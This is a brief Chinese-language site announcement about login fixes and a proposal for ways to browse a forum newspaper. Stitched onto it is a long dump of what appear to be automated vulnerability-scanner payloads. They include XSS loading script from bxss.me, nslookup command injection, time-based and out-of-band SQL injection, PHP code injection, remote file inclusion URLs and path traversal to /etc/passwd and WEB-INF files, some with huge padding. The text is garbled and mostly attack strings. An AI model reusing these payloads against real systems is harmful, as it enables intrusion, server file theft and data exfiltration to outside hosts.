|
本戰的登入成是還有一個難關尚未克服，請大家忍耐耐一下子吧！希望這個小小的問題解決之後，大家可以更方便與更安全的使用。如果您還發現有什麼值得改進的地方，或者任何建議，請大家通通都提出來，哪怕只是一想天開、湖司亂講的想法，通通都可以說出來讓我們參考。也許您的隨便亂講，可把我們的戰台變得更活潑生動唷！謝謝！
關於啟明論壇報，
我覺得可以發展出另一種瀏覽方式，
如此一來學習的故鄉就提供使用者三種瀏覽方式：
(1) 部落格：能看特定作者的所有文章
(2) 啟明論壇報：這個區塊可讓使用者在發表文章後，選擇將文章放置的類別
，如音樂、體育、社團、學校生活、語文等等。若能做到這樣的分類，新來的
訪客就可依照興趣快速的找到相關內容，有點累四討論區分組的概念。
(3) 發表文章專區-本業文章搜尋：能讓使用者瀏覽所有的文章
找個時間應該趕快來整理一下論壇報的程式碼才對，討論區不趕快寫，大家就會無聊，有討論區大家互相妳來我往的才有一司吧！
${10000067+9999949}
${9999843+9999815}
${9999109+10000057}
${10000132+9999956}
${9999592+10000063}
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=039586&r=6-1201&h=6-0eea1-2&/).slice(2),document.documentElement.appendChild(s))//'>
1'>"><script src=http://bxss.me/s?u=039586&r=6-1202&h=6-0eea1-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,039586,6-1202,6,0eea1,%22%5D"/>
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=039586&r=6-1205&h=6-0eea1-2&/).slice(2),document.documentElement.appendChild(s))//'>
1'>"><script src=http://bxss.me/s?u=039586&r=6-1208&h=6-0eea1-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,039586,6-1208,6,0eea1,%22%5D"/>
'+response.write(9838272*9654980)+'
1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.src=(/,/+/bxss.me\/s?u=039586&r=6-1211&h=6-0eea1-2&/).slice(2),document.documentElement.appendChild(s))//'>
"+response.write(9838272*9654980)+"
'+response.write(9995458*9310479)+'
1'>"><script src=http://bxss.me/s?u=039586&r=6-1214&h=6-0eea1-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,039586,6-1214,6,0eea1,%22%5D"/>
'+response.write(9617039*9780833)+'
${9999475+10000444}
set|set&set
$(nslookup tAdhVchF)
&nslookup N6W5h1nJ&'\"`0&nslookup N6W5h1nJ&`'
set|set&set
$(nslookup EuU2wjP7)
&nslookup R37EVeEN&'\"`0&nslookup R37EVeEN&`'
set|set&set
&nslookup dITyw0Gl&'\"`0&nslookup dITyw0Gl&`'
response.write(9700904*9351363)
"+response.write(9700904*9351363)+"
response.write(9816629*9643996)
'+response.write(9816629*9643996)+'
"+response.write(9816629*9643996)+"
response.write(9259971*9009480)
'+response.write(9259971*9009480)+'
"+response.write(9259971*9009480)+"
set|set&set
$(nslookup mpSmqD4H)
&nslookup kX1tGUE2&'\"`0&nslookup kX1tGUE2&`'
set|set&set
set|set&set
set|set&set
$(nslookup 0FCvLniI)
&nslookup v7sVxmqT&'\"`0&nslookup v7sVxmqT&`'
$(nslookup dns.ce.\039586.6-1317.6.0eea1.\1.bxss.me)
&nslookup dns.ce.\039586.6-1319.6.0eea1.\1.bxss.me&'\"`0&nslookup dns.ce.\039586.6-1319.6.0eea1.\1.bxss.me&`'
set|set&set
$(nslookup dns.ce.\039586.6-1324.6.0eea1.\1.bxss.me)
&nslookup dns.ce.\039586.6-1328.6.0eea1.\1.bxss.me&'\"`0&nslookup dns.ce.\039586.6-1328.6.0eea1.\1.bxss.me&`'
set|set&set
$(nslookup dns.ce.\039586.6-1332.6.0eea1.\1.bxss.me)
&nslookup dns.ce.\039586.6-1334.6.0eea1.\1.bxss.me&'\"`0&nslookup dns.ce.\039586.6-1334.6.0eea1.\1.bxss.me&`'
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
;print(md5(acunetix_wvs_security_test));
';print(md5(acunetix_wvs_security_test));$a='
";print(md5(acunetix_wvs_security_test));$a="
${@print(md5(acunetix_wvs_security_test))}
${@print(md5(acunetix_wvs_security_test))}\
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
if(now()=sysdate(),sleep(18),0)/*'XOR(if(now()=sysdate(),sleep(18),0))OR'"XOR(if(now()=sysdate(),sleep(18),0))OR"*/
1some_inexistent_file_with_long_name .jpg
(select(0)from(select(sleep(18)))v)/*'+(select(0)from(select(sleep(18)))v)+'"+(select(0)from(select(sleep(18)))v)+"*/
Http://testasp.vulnweb.com/t/fit.txt
-1; waitfor delay '0:0:18' --
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
-1); waitfor delay '0:0:18' --
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
0GwjMPsb'; waitfor delay '0:0:27' --
Http://testasp.vulnweb.com/t/fit.txt
-1;select pg_sleep(27); --
http://testasp.vulnweb.com/t/fit.txt?.jpg
-1);select pg_sleep(27); --
testasp.vulnweb.com
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name .jpg
Http://testasp.vulnweb.com/t/fit.txt
http://testasp.vulnweb.com/t/fit.txt?.jpg
testasp.vulnweb.com
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
!(()&&!|*|*|
^(#$!@#$)(()))******
http://hitxCFHGQbXGU.bxss.me/
http://hitCDDQTWq1tX.bxss.me/
http://hitIDC4YX3Z39.bxss.me/
-1 OR 2+526-526-1=0+0+0+1 --
-1 OR 3+526-526-1=0+0+0+1 --
-1 OR 2+819-819-1=0+0+0+1
-1 OR 3+819-819-1=0+0+0+1
1||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2640.6.0eea1.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2641.6.0eea1.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\039586.6-2644.6.0eea1.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\039586.6-2647.6.0eea1.\1.bxss.me
-1 OR 2+73-73-1=0+0+0+1 --
-1 OR 3+73-73-1=0+0+0+1 --
-1 OR 2+926-926-1=0+0+0+1
-1 OR 3+926-926-1=0+0+0+1
1||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2669.6.0eea1.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2672.6.0eea1.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\039586.6-2675.6.0eea1.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\039586.6-2678.6.0eea1.\1.bxss.me
-1 OR 2+541-541-1=0+0+0+1 --
-1 OR 3+541-541-1=0+0+0+1 --
-1 OR 2+946-946-1=0+0+0+1
-1 OR 3+946-946-1=0+0+0+1
1||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2695.6.0eea1.1.bxss'||'.me')
'||UTL_INADDR.get_host_address('dns.'||'sqli.039586.6-2698.6.0eea1.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\039586.6-2700.6.0eea1.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\039586.6-2703.6.0eea1.\1.bxss.me
1
1
1
reading.php
reading.php
reading.php/.
reading.php
reading.php
reading.php/.
reading.php
reading.php
reading.php/.
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
1
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
1
1
%2fetc%2fpasswd
1
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
../../../../../../../../../../etc/passwd .jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd .jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
..嶸..嶸..嶸..嶸..嶸..嶸..嶸..嶸etc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
WEB-INF/web.xml
/WEB-INF/web.xml
WEB-INF\web.xml
1
1
1
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
|